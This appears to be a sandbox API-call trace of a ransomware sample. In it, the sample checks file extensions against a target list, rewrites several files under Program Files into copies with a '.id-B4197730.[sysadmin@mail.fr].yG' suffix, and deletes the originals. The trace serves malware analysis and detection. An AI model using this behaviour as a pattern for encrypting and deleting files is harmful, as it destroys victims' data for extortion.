	[0046.376] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0046.376] lstrlenW (lpString=".pdf") returned 4
	[0046.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString=".xls") returned 4
	[0046.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString=".xlsx") returned 5
	[0046.376] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0046.376] lstrlenW (lpString=".ppt") returned 4
	[0046.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.376] lstrlenW (lpString=".zip") returned 4
	[0046.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.376] lstrlenW (lpString=".rar") returned 4
	[0046.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString=".bz2") returned 4
	[0046.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString=".7z") returned 3
	[0046.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.376] lstrlenW (lpString=".dbf") returned 4
	[0046.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.376] lstrlenW (lpString=".1cd") returned 4
	[0046.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.376] lstrlenW (lpString=".jpg") returned 4
	[0046.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.377] lstrlenW (lpString=".doc") returned 4
	[0046.377] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString=".docx") returned 5
	[0046.377] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0046.377] lstrlenW (lpString=".pdf") returned 4
	[0046.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString=".xls") returned 4
	[0046.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString=".xlsx") returned 5
	[0046.377] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0046.377] lstrlenW (lpString=".ppt") returned 4
	[0046.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.377] lstrlenW (lpString=".zip") returned 4
	[0046.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.377] lstrlenW (lpString=".rar") returned 4
	[0046.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString=".bz2") returned 4
	[0046.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString=".7z") returned 3
	[0046.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.377] lstrlenW (lpString=".dbf") returned 4
	[0046.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.377] lstrlenW (lpString=".1cd") returned 4
	[0046.377] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61
	[0046.377] lstrlenW (lpString=".jpg") returned 4
	[0046.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.377] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0046.378] lstrlenW (lpString="ipsid.xml") returned 9
	[0046.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.379] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2570) returned 1
	[0046.379] CloseHandle (hObject=0x2ec) returned 1
	[0046.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20
	[0046.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60
	[0046.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60
	[0046.382] lstrlenW (lpString=".doc") returned 4
	[0046.382] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.382] lstrlenW (lpString=".docx") returned 5
	[0046.382] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0046.382] lstrlenW (lpString=".pdf") returned 4
	[0046.382] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.382] lstrlenW (lpString=".xls") returned 4
	[0046.382] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.382] lstrlenW (lpString=".xlsx") returned 5
	[0046.382] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0046.382] lstrlenW (lpString=".ppt") returned 4
	[0046.382] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60
	[0046.382] lstrlenW (lpString=".zip") returned 4
	[0046.382] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.382] lstrlenW (lpString=".rar") returned 4
	[0046.382] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.382] lstrlenW (lpString=".bz2") returned 4
	[0046.382] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.382] lstrlenW (lpString=".7z") returned 3
	[0046.382] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 60
	[0046.382] lstrlenW (lpString=".dbf") returned 4
	[0046.382] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0047.291] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.291] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.291] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0047.413] GetLastError () returned 0x0
	[0047.413] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x374c, lpOverlapped=0x0) returned 1
	[0047.542] WriteFile (in: hFile=0x380, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3750, lpOverlapped=0x0) returned 1
	[0047.543] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.543] WriteFile (in: hFile=0x380, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xea, lpOverlapped=0x0) returned 1
	[0047.543] SetEndOfFile (hFile=0x380) returned 1
	[0047.543] CloseHandle (hObject=0x380) returned 1
	[0047.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.544] SetEndOfFile (hFile=0x38c) returned 1
	[0047.545] CloseHandle (hObject=0x38c) returned 1
	[0047.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.545] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0047.546] lstrlenW (lpString=".doc") returned 4
	[0047.546] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0047.546] lstrlenW (lpString=".docx") returned 5
	[0047.546] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0047.546] lstrlenW (lpString=".pdf") returned 4
	[0047.546] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0047.546] lstrlenW (lpString=".xls") returned 4
	[0047.546] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0047.546] lstrlenW (lpString=".xlsx") returned 5
	[0047.546] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0047.546] lstrlenW (lpString=".ppt") returned 4
	[0047.546] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0047.546] lstrlenW (lpString=".zip") returned 4
	[0047.546] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0047.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0047.546] lstrlenW (lpString=".doc") returned 4
	[0047.546] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1
	[0047.546] lstrlenW (lpString=".docx") returned 5
	[0047.546] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1
	[0047.546] lstrlenW (lpString=".pdf") returned 4
	[0047.546] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1
	[0047.546] lstrlenW (lpString=".xls") returned 4
	[0047.546] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1
	[0047.546] lstrlenW (lpString=".xlsx") returned 5
	[0047.546] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1
	[0047.546] lstrlenW (lpString=".ppt") returned 4
	[0047.547] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1
	[0047.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57
	[0047.547] lstrlenW (lpString=".zip") returned 4
	[0047.547] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0
	[0047.547] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.547] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20
	[0047.547] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0047.547] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=12250) returned 1
	[0047.547] CloseHandle (hObject=0x38c) returned 1
	[0047.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20
	[0047.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.547] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0047.547] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.547] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.547] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0047.548] GetLastError () returned 0x0
	[0047.548] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x2fda, lpOverlapped=0x0) returned 1
	[0047.955] WriteFile (in: hFile=0x380, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2fe0, lpOverlapped=0x0) returned 1
	[0047.956] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.956] WriteFile (in: hFile=0x380, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0047.956] SetEndOfFile (hFile=0x380) returned 1
	[0047.956] CloseHandle (hObject=0x380) returned 1
	[0047.957] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.957] SetEndOfFile (hFile=0x38c) returned 1
	[0047.958] CloseHandle (hObject=0x38c) returned 1
	[0047.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.958] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString=".doc") returned 4
	[0047.959] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.959] lstrlenW (lpString=".docx") returned 5
	[0047.959] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0047.959] lstrlenW (lpString=".pdf") returned 4
	[0047.959] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.959] lstrlenW (lpString=".xls") returned 4
	[0047.959] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.959] lstrlenW (lpString=".xlsx") returned 5
	[0047.959] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0047.959] lstrlenW (lpString=".ppt") returned 4
	[0047.959] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString=".zip") returned 4
	[0047.959] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.959] lstrlenW (lpString=".rar") returned 4
	[0047.959] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.959] lstrlenW (lpString=".bz2") returned 4
	[0047.959] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.959] lstrlenW (lpString=".7z") returned 3
	[0047.959] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString=".dbf") returned 4
	[0047.959] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString=".1cd") returned 4
	[0047.959] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString=".jpg") returned 4
	[0047.959] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.959] lstrlenW (lpString=".doc") returned 4
	[0047.959] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.960] lstrlenW (lpString=".docx") returned 5
	[0047.960] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0047.960] lstrlenW (lpString=".pdf") returned 4
	[0047.960] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.960] lstrlenW (lpString=".xls") returned 4
	[0047.960] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.960] lstrlenW (lpString=".xlsx") returned 5
	[0047.960] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0047.960] lstrlenW (lpString=".ppt") returned 4
	[0047.960] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.960] lstrlenW (lpString=".zip") returned 4
	[0047.960] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.960] lstrlenW (lpString=".rar") returned 4
	[0047.960] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.960] lstrlenW (lpString=".bz2") returned 4
	[0047.960] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.960] lstrlenW (lpString=".7z") returned 3
	[0047.960] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.960] lstrlenW (lpString=".dbf") returned 4
	[0047.960] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.960] lstrlenW (lpString=".1cd") returned 4
	[0047.960] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66
	[0047.960] lstrlenW (lpString=".jpg") returned 4
	[0047.960] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.960] lstrcmpiW (lpString1=".txt", lpString2=".yG") returned -1
	[0047.960] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34
	[0047.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0048.318] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=63933) returned 1
	[0048.318] CloseHandle (hObject=0x394) returned 1
	[0048.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20
	[0048.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0048.319] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.319] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0048.319] GetLastError () returned 0x0
	[0048.319] ReadFile (in: hFile=0x394, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xf9bd, lpOverlapped=0x0) returned 1
	[0048.390] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf9c0, lpOverlapped=0x0) returned 1
	[0048.392] ReadFile (in: hFile=0x394, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.392] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x118, lpOverlapped=0x0) returned 1
	[0048.392] SetEndOfFile (hFile=0x2e4) returned 1
	[0048.392] CloseHandle (hObject=0x2e4) returned 1
	[0048.394] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.394] SetEndOfFile (hFile=0x394) returned 1
	[0048.395] CloseHandle (hObject=0x394) returned 1
	[0048.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.665] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1
	[0048.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.739] lstrlenW (lpString=".doc") returned 4
	[0048.739] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.739] lstrlenW (lpString=".docx") returned 5
	[0048.739] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0048.739] lstrlenW (lpString=".pdf") returned 4
	[0048.740] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.740] lstrlenW (lpString=".xls") returned 4
	[0048.740] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.740] lstrlenW (lpString=".xlsx") returned 5
	[0048.740] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0048.740] lstrlenW (lpString=".ppt") returned 4
	[0048.740] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
